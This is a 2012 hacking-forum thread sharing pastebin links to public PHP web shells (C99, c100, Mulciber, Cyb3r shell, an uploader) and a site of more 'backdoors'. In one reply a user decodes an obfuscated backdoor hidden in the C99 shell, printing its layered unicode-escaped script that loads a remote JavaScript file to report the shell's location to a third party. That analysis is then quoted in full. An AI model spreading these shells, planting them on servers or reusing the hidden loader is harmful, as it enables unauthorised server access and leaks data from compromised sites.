[Free Shells!] Mulci, Cyb3r, and some others!

TheW3bster · (This post was last modified: Jun 27, 2012 12:06 PM by TheW3bster.)

As i am bored as death itself, I decided i'd take my small public collection and post them on here. I know they are all publics and easy to get, but still. For the lazy and the ones that "Can't be arsed" to search for them!

Mulciber.txt (Greets @ TeamPS)

http://pastebin.com/raw.php?i=phiY8gZp

C99.txt

http://pastebin.com/raw.php?i=eequwA97

c100.txt

http://pastebin.com/raw.php?i=gBHubFHg

Cyb3r-shell.txt

http://pastebin.com/raw.php?i=LXFKvsdW

Uploader.php

http://pastebin.com/raw.php?i=jybxRJXP

MORE SHELLS AT :

http://sh3ll.org/

Jun 27, 2012 10:18 AM

Thanks, I haz now codes to check for backdoors :3

Iamveryveryverygay · Jun 27, 2012 10:20 AM

You guy's could also get a lot of shells from http://sh3ll.org/ that's where I get all of my backdoors.

TheW3bster · Jun 27, 2012 10:27 AM

(Jun 27, 2012 10:20 AM)Iamveryveryverygay Wrote: You guy's could also get a lot of shells from http://sh3ll.org/ that's where I get all of my backdoors.

Added to the post if you don't mind!

Thanks <3

Jun 27, 2012 11:51 AM

clears throat
The C99 is backdoored. I manage to find two scripts which sends the shell URL to other sources. (With big help from AntiPaste :3)

http://pastebin.com/eequwA97
Look at lines 6031~6288.
You see that long array? It decodes itself to:

Code 
document.write(unescape("<script type="text/javascript">document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')</script>"));

Which decodes itself to:

Code 
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')

....Which decodes itself to:

Code 
document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0064\u0061\u0074\u0061\u002e\u0074\u0030\u0030\u006c\u0073\u002e\u006f\u0072\u0067\u002f\u0077\u0068\u0065\u0072\u0065\u002e\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')

...WHICH FINALLY DECODES ITSELF TO *heavy sigh*:

Code 
<script src="http://data.t00ls.org/where.js"></script>

That URL sends the shell to... well, someone :3

Also, there's another back-door script, but it doesn't do anything cuz of reasons.
Line 1721:

Code 
<SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x70&#x72&#x6vhkvhkx6d&#x61&#x67&#x65&#x73&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>

Decodes itself to:

Code 
<script src=http://www.prvhkvhkx6dages/yaz.js">

...Idk.

I'd recommend everyone to remove lines 6031~6288, including OP. Will go through the rest of the shells throughout the night.

TheW3bster · Jun 27, 2012 11:59 AM

(Jun 27, 2012 11:51 AM)Th3PonyWizard Wrote: *clears throat*
The C99 is backdoored. I manage to find two scripts which sends the shell URL to other sources. (With big help from AntiPaste :3)

http://pastebin.com/eequwA97
Look at lines 6031~6288.
You see that long array? It decodes itself to:

Code
document.write(unescape("<script type="text/javascript">document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')</script>"));

Which decodes itself to:

Code
document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0074\u0065\u0078\u0074\u002f\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0027\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0032\u0030\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0033\u0064\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0037\u0030\u005c\u0075\u0030\u0030\u0033\u0061\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0036\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0036\u0031\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0037\u0034\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0033\u0030\u005c\u0075\u0030\u0030\u0036\u0063\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0066\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0037\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0037\u0037\u005c\u0075\u0030\u0030\u0036\u0038\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0037\u0032\u005c\u0075\u0030\u0030\u0036\u0035\u005c\u0075\u0030\u0030\u0032\u0065\u005c\u0075\u0030\u0030\u0036\u0061\u005c\u0075\u0030\u0030\u0037\u0033\u005c\u0075\u0030\u0030\u0033\u0065\u005c\u0075\u0030\u0030\u0033\u0063\u005c\u0075\u0030\u0030\u0032\u0066\u005c\u0075\u0030\u0030\u0035\u0033\u005c\u0075\u0030\u0030\u0034\u0033\u005c\u0075\u0030\u0030\u0035\u0032\u005c\u0075\u0030\u0030\u0034\u0039\u005c\u0075\u0030\u0030\u0035\u0030\u005c\u0075\u0030\u0030\u0035\u0034\u005c\u0075\u0030\u0030\u0033\u0065\u0027\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')

....Which decodes itself to:

Code
document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0064\u0061\u0074\u0061\u002e\u0074\u0030\u0030\u006c\u0073\u002e\u006f\u0072\u0067\u002f\u0077\u0068\u0065\u0072\u0065\u002e\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')

...WHICH FINALLY DECODES ITSELF TO *heavy sigh*:

Code
<script src="http://data.t00ls.org/where.js"></script>
That URL sends the shell to... well, someone :3

Also, there's another back-door script, but it doesn't do anything cuz of reasons.
Line 1721:

Code
<SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x70&#x72&#x6vhkvhkx6d&#x61&#x67&#x65&#x73&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT>

Decodes itself to:

Code
<script src=http://www.prvhkvhkx6dages/yaz.js">
...Idk.

I'd recommend everyone to remove lines 6031~6288, including OP. Will go through the rest of the shells throughout the night.

Removed the shell and i'll mod it. Can't thank you enough <3

Bacardi · Jun 27, 2012 11:59 AM

It's been soooo long since I've used Mulci. I loved that shell :D

TheW3bster · Jun 27, 2012 12:11 PM

(Jun 27, 2012 11:59 AM)Bacardi Wrote: It's been soooo long since I've used Mulci. I loved that shell :D

I find that it is the best for MySQL database manipulations ^^

Prominent · Jun 27, 2012 01:45 PM

Haven't seen Mulci in a long while, thought that its gone. Good contribution.

Jun 27, 2012 02:05 PM

Really nice contribution.
Thanks 🤝

~soeasy

Jun 27, 2012 02:23 PM

MulCi used to a nice private shell.

Jun 27, 2012 04:14 PM

(Jun 27, 2012 10:20 AM)Iamveryveryverygay Wrote: You guy's could also get a lot of shells from http://sh3ll.org/ that's where I get all of my backdoors.

Don't use those shells! They're backdoored..

Login
Username/Email:
Password:	Lost Password?
	Remember me

Possibly Related Threads...
Thread / Author	Replies	Views	Last Post
♛ T34M PaK CyB3r 0rPh@n$ ♛ by Monte CristoMay 23, 2013 04:31 PM	39	1,296	May 23, 2013 04:31 PM Last Post: ~Tom~
Moar free shells :3 (8 Shells) [Deleted until further notice] by Ghetto~~Dec 15, 2012 08:42 AM	25	709	Dec 15, 2012 08:42 AM Last Post: Ghetto~~
★★★★★ [FREE] 166 UDP Shells & 146 TCP Shells [FREE] ] [L33T/UB3R] ★★★★★ by ๖ۣۜƉąńMay 28, 2012 11:46 PM	24	587	May 28, 2012 11:46 PM Last Post: ๖ۣۜƉąń